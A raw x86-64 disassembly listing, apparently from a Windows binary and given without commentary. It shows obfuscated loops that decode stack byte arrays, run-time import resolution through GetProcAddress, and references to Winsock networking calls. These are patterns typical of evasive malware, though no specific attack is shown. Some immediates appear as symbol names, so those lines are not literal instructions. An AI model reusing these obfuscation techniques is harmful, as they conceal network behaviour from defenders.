movabs r15, 0x24583158654149ae
movabs r14, 0xf9382dcbdae4426
movzx edi, byte [rbp + 0x400]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x140067e11
movzx r10d, byte [rbp + r11 + 0x80]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140067e08
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006739c
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x52
jmp 0x1400673c9
je 0x140067d9b
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067d0e
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067cdc
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067cbb
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140067dff
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x1400673fd
lea ecx, [r9 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140067431
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140067c74
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067c5a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067c3d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067c20
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140067997
nop
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140067978
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x140067952
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006792f
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140067910
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400678f3
lea rax, [r8 + 8]
cmp rbx, rax
je 0x1400678d3
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400678b4
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140067897
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140067865
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140067440
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 2]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140067de2
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140067dc5
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x140067623
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140067608
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400675ed
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140067818
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x1400677d7
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140067797
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14006776c
lea rbx, [r8 + 1]
lea r8, [rbx + 3]
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006773d
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14006771d
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140067702
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400676e5
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x1400676c5
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400676aa
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140067687
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006765e
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x140067643
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140067440
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x1000]
jmp 0x140067440
lea ecx, [r9 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x140067431
lea ecx, [r9 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
jmp 0x1400673d0
sub r9b, 0x52
movzx eax, r9b
and al, r10b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067370
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
jmp 0x140067c8e
sub r9b, 0x74
movzx eax, r9b
and al, r10b
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140067353
sub r9b, 0x38
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x78
dec r11
inc r11
jmp 0x140067353
lea ecx, [r9 + 4]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1c
jmp 0x140067be1
add r9b, 0x40
movzx eax, r9b
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067cf2
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140067cf5
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140067d28
sub r9b, 0xc
movzx eax, r9b
and al, r10b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067d56
add r9b, 0x30
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140067353
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, listen
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
mov byte [rbp + r11 + 0x80], dil
inc r11
jmp 0x140067353
lea edx, [r9 - 0x7e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 0x61
jb 0x140067787
lea ecx, [r9 + 0xc]
movzx eax, cl
and al, r10b
mov edx, socket
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140067c8e
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
cmp rbx, 0x1000
jae 0x140067bc8
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140067ae3
lea edx, [r9 + 0x64]
movzx eax, dl
and al, r10b
mov ecx, 0x22
jmp 0x1400677a6
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
lea rax, [r8 + rbx]
cmp rax, 3
je 0x140067c0a
lea rcx, [r8 + 5]
cmp rbx, rcx
jbe 0x140067a3b
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x1400677ed
add r9b, 0x3c
movzx eax, r9b
and al, r10b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140067353
add r9b, 0x78
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x48
jmp 0x140067d56
lea edx, [r9 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067d28
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067cf5
add r9b, 0x2c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x34
jmp 0x140067cf2
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067be1
sub r9b, 0x5c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x7c
dec r11
inc r11
jmp 0x140067353
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x140067353
lea edx, [r9 + 0x1c]
movzx eax, dl
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067c8e
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400679b4
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
jmp 0x140067827
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400679ef
add r9b, 0x14
movzx eax, r9b
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140067353
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140067a13
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140067d28
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140067832
lea ecx, [r9 - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x140067be1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067a63
lea edx, [r9 + 0x1e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067c8e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140067a92
sub r9b, 0x5a
movzx eax, r9b
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140067353
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140067aba
lea edx, [r9 + 0x6a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067be1
cmp rbx, rcx
jne 0x1400677ed
sub r9b, 0xe
movzx eax, r9b
and al, r10b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067cf5
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067b1b
add r9b, 0x28
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x18
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140067353
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140067b41
sub r9b, 0x14
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x74
jmp 0x140067d56
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140067b6a
add r9b, 0x38
movzx eax, r9b
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140067cf2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140067b9c
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140067353
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400677b1
lea edx, [r9 + 0x48]
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067c8e
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x32
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x5e
add cl, r10b
add cl, r9b
mov byte [rbp + r11 + 0x80], cl
jmp 0x140067cf2
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0xc]
jmp 0x140067d28
add r9b, 0x2a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x26
jmp 0x140067d56
sub r9b, 0x5e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6e
jmp 0x140067cf5
sub r9b, 0x22
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x12
jmp 0x140067cf2
lea edx, [r9 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x6e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 2
add r10b, r9b
mov byte [rbp + r11 + 0x80], r10b
inc r8
dec r11
inc r11
jmp 0x140067353
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
dec r11
inc r11
jmp 0x140067353
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140067353
lea rcx, [r11 + r15]
and dl, cl
mov eax, 0x1f
sub al, dl
lea edi, [rax + rax]
add dil, r10b
add dil, cl
movzx r9d, r11b
sub r9b, 0xa
movzx eax, r10b
and al, r9b
mov ecx, 0x23
sub cl, al
add cl, cl
add cl, r10b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x80], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x68
add r10b, cl
mov byte [rbp + r11 + 0x80], r10b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140067353
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
sub dil, 0xa
movzx eax, byte [rbp + r11 + 0x80]
add rax, r8
add r11, rax
inc r11
jmp 0x140067353
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x66
jmp 0x140067350
add r9b, 0x26
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xa
jmp 0x140067340
lea rdx, [rbp + 0x171ee58]
jmp 0x140067e18
lea rdx, [rbp + 0xd6afba]
jmp 0x140067e18
lea rdx, [rbp + 0x80]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x260], gethostname
mov byte [rbp + 0x261], 0xde
mov byte [rbp + 0x262], 0xc1
mov byte [rbp + 0x263], 0xc0
mov byte [rbp + 0x264], 0xcf
mov byte [rbp + 0x265], 0xc9
mov byte [rbp + 0x266], 0xdb
mov byte [rbp + 0x267], 0xcd
mov byte [rbp + 0x268], 0x3b
mov byte [rbp + 0x269], 0xcd
mov byte [rbp + 0x26a], 0xd3
mov byte [rbp + 0x26b], 0xc6
mov byte [rbp + 0x26c], 0xc7
mov byte [rbp + 0x26d], 0x32
mov byte [rbp + 0x26e], 0xfc
mov byte [rbp + 0x26f], gethostname
mov byte [rbp + 0x270], 0x76
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x271], xmm0
mov dword [rbp + 0x281], eax
mov word [rbp + 0x285], ax
mov byte [rbp + 0x287], al
movzx edi, byte [rbp + 0x400]
movabs rsi, 0x6ce517e40a1843cf
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r13d, r13d
cmp r13, 0x28
jae 0x140068931
movzx r12d, byte [rbp + r13 + 0x260]
mov edx, r12d
mov qword [rsp + 0x20], rdx
nop
cmp rbx, r13
ja 0x140068928
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140067f2c
lea rcx, [rsi + r13]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x57
jmp 0x140067f66
je 0x14006889f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140068826
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400687e8
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400687a7
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006877c
movzx r14d, r13b
nop word [rax + rax]
movzx r15d, r14b
movzx r11d, r14b
movzx esi, r14b
cmp r8, r13
ja 0x14006891f
lea r9, [r8 + 1]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140067fb5
lea ecx, [r14 - 5]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
add dil, 0x23
lea r10, [r8 + 2]
lea rcx, [r8 + 3]
jmp 0x140067ff2
cmp rbx, r9
je 0x140068730
lea r10, [r8 + 2]
cmp rbx, r10
je 0x140068710
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400686f3
lea rax, [r8 + 7]
cmp rbx, rax
je 0x1400686d8
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x1400686bb
lea rdx, [r8 + rbx]
cmp rdx, r13
jbe 0x140068410
nop
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x1400683f0
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400683bd
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140068390
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140068370
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140068350
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140068333
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140068000
lea rbx, [r8 + 5]
lea r8, [rbx + 0x20]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140068902
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x1400688db
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x140068153
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140068138
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x1400682e9
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x1400682ab
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140068279
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x3e8]
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14006825c
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006823c
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14006821c
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400681ff
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400681d2
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006819f
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006817f
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x2a]
jmp 0x140068000
lea ecx, [r14 - 0x39]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0x71
jmp 0x140067f70
add r14b, 0x29
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x1f
mov rdx, qword [rsp + 0x20]
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067f00
sub r14b, 0x28
movzx eax, r14b
and al, r12b
mov ecx, recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
jmp 0x140068746
add r14b, 0x3a
movzx eax, r14b
and al, r12b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
inc r8
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
sub r14b, 0x64
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x44
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
sub r14b, 0x3e
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x4e
jmp 0x140068803
add r14b, 0x24
movzx eax, r14b
and al, r12b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
jmp 0x140068845
sub r14b, 0x7a
movzx eax, r14b
and al, r12b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
jmp 0x140068871
sub r14b, 0x18
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x58
jmp 0x1400688ba
sub r14b, 0x23
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0xb
mov byte [rbp + r13 + 0x260], dil
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
add r14b, 0x3f
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
add dil, 0x47
cmp r8, 0x10
jb 0x140068291
lea ecx, [r15 + 0x7a]
movzx eax, cl
and al, r12b
mov edx, reloc.WS2_32.dll_setsockopt
sub dl, al
add dl, dl
add dl, cl
add dl, r12b
lea edi, [rdx + rdx]
jmp 0x140068746
sub r14b, 0x5f
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x67
cmp rbx, 0x28
jae 0x140068681
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jbe 0x140068595
lea ecx, [r15 + 0x4e]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0x22
jmp 0x1400682c3
sub r14b, 0x1e
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x2e
jmp 0x1400688ba
add r14b, 0x44
movzx eax, r14b
and al, r12b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
jmp 0x140068871
sub r14b, 0x34
movzx eax, r14b
and al, r12b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
jmp 0x1400687c1
add r14b, 0x2e
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
sub dil, 0x42
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
sub r14b, 0x70
movzx eax, r14b
and al, r12b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
inc r8
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
sub r14b, 0xe
movzx eax, r14b
and al, r12b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r12b
jmp 0x140068746
lea rax, [r8 + 0x400]
cmp rbx, rax
jae 0x140068466
sub r14b, 0x31
movzx eax, r14b
and al, r12b
add al, al
sub r14b, al
lea edi, [r12 + r14]
add dil, 0x57
cmp rdx, 5
je 0x14006869f
lea rax, [r8 + 0x20]
cmp rbx, rax
jbe 0x1400684cd
lea ecx, [r15 + 0x53]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0x45
jmp 0x140068301
cmp rbx, r9
jne 0x14006848b
sub sil, 0xa
movzx eax, sil
and al, r12b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, sil
add dil, r12b
jmp 0x1400688ba
cmp rbx, r10
jne 0x1400684ad
sub r11b, 0x6c
movzx eax, r11b
and al, r12b
add al, al
sub r11b, al
lea edi, [r12 + r11]
sub dil, 0xc
jmp 0x140068871
cmp rbx, rcx
jne 0x140068434
lea ecx, [r15 + 0x32]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0x5e
jmp 0x140068845
cmp rbx, r9
jne 0x1400684ed
lea ecx, [r15 - 0xf]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
add dil, 0x69
jmp 0x140068746
cmp rbx, r10
jne 0x140068522
sub r15b, 0x71
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
add dil, 0x17
inc r8
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006854b
add r15b, 0x69
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
add dil, 0x21
add rbx, r8
jmp 0x140068803
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006856f
lea ecx, [r15 - 0x5b]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
add dil, 0x7d
jmp 0x140068845
cmp rbx, rcx
jne 0x140068301
sub r15b, 0x1f
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
sub dil, 0x27
jmp 0x1400688ba
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400685bb
sub r15b, 0x14
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
sub dil, 0x74
jmp 0x1400688ba
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400685e7
add r15b, 0x64
movzx eax, r15b
and al, r12b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r12b
add rbx, r8
jmp 0x140068803
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006860b
lea ecx, [r15 + 2]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0xe
jmp 0x1400687c1
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140068641
sub r15b, 0x60
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
sub dil, 0x60
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400682c3
add r15b, 0x3e
movzx eax, r15b
and al, r12b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r15b
add dil, r12b
inc r8
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
lea edx, [r15 + 0x18]
movzx eax, dl
and al, r12b
movzx ecx, r12b
sub cl, al
add cl, 0x2c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400687c1
lea edx, [r15 - 0x4a]
movzx eax, dl
and al, r12b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140068845
sub r15b, 0x15
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
sub dil, 0x6d
jmp 0x140068871
lea ecx, [r15 + 0x4d]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0x1b
jmp 0x140068845
sub r15b, 0x51
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
add dil, 0x37
jmp 0x140068803
add r15b, 0x11
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
lea edi, [r12 + r15]
sub dil, 0x77
add rbx, r8
jmp 0x140068803
lea ecx, [r15 - 0x67]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
sub dil, 0x2f
add r15b, 0x49
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
inc r15b
add r15b, r12b
mov byte [rbp + r13 + 0x260], r15b
inc r8
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
lea ecx, [r13 + 0x21]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
add dil, 0x19
dec r13
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
movzx r15d, r13b
lea ecx, [r15 - 0x7d]
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r12 + rcx]
add dil, 0x6b
sub r15b, 0x19
movzx eax, r15b
and al, r12b
add al, al
sub r15b, al
sub r15b, 0x51
add r15b, r12b
add r15b, dil
mov byte [rbp + r13 + 0x260], r15b
add rbx, r8
jmp 0x140068803
movabs rax, 0xd40dd7045ada6247
add rax, r13
and dl, al
add dl, dl
sub al, dl
lea edi, [r12 + rax]
add dil, 0xf
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r13, rcx
inc r13
movabs rsi, 0x6ce517e40a1843cf
jmp 0x140067ee3
movabs rax, 0xfa43a73c46a9daa9
add rax, r13
and dl, al
add dl, dl
sub al, dl
lea edi, [r12 + rax]
add dil, 0x61
movzx r15d, r13b
sub r15b, 0x7b
movzx eax, r15b
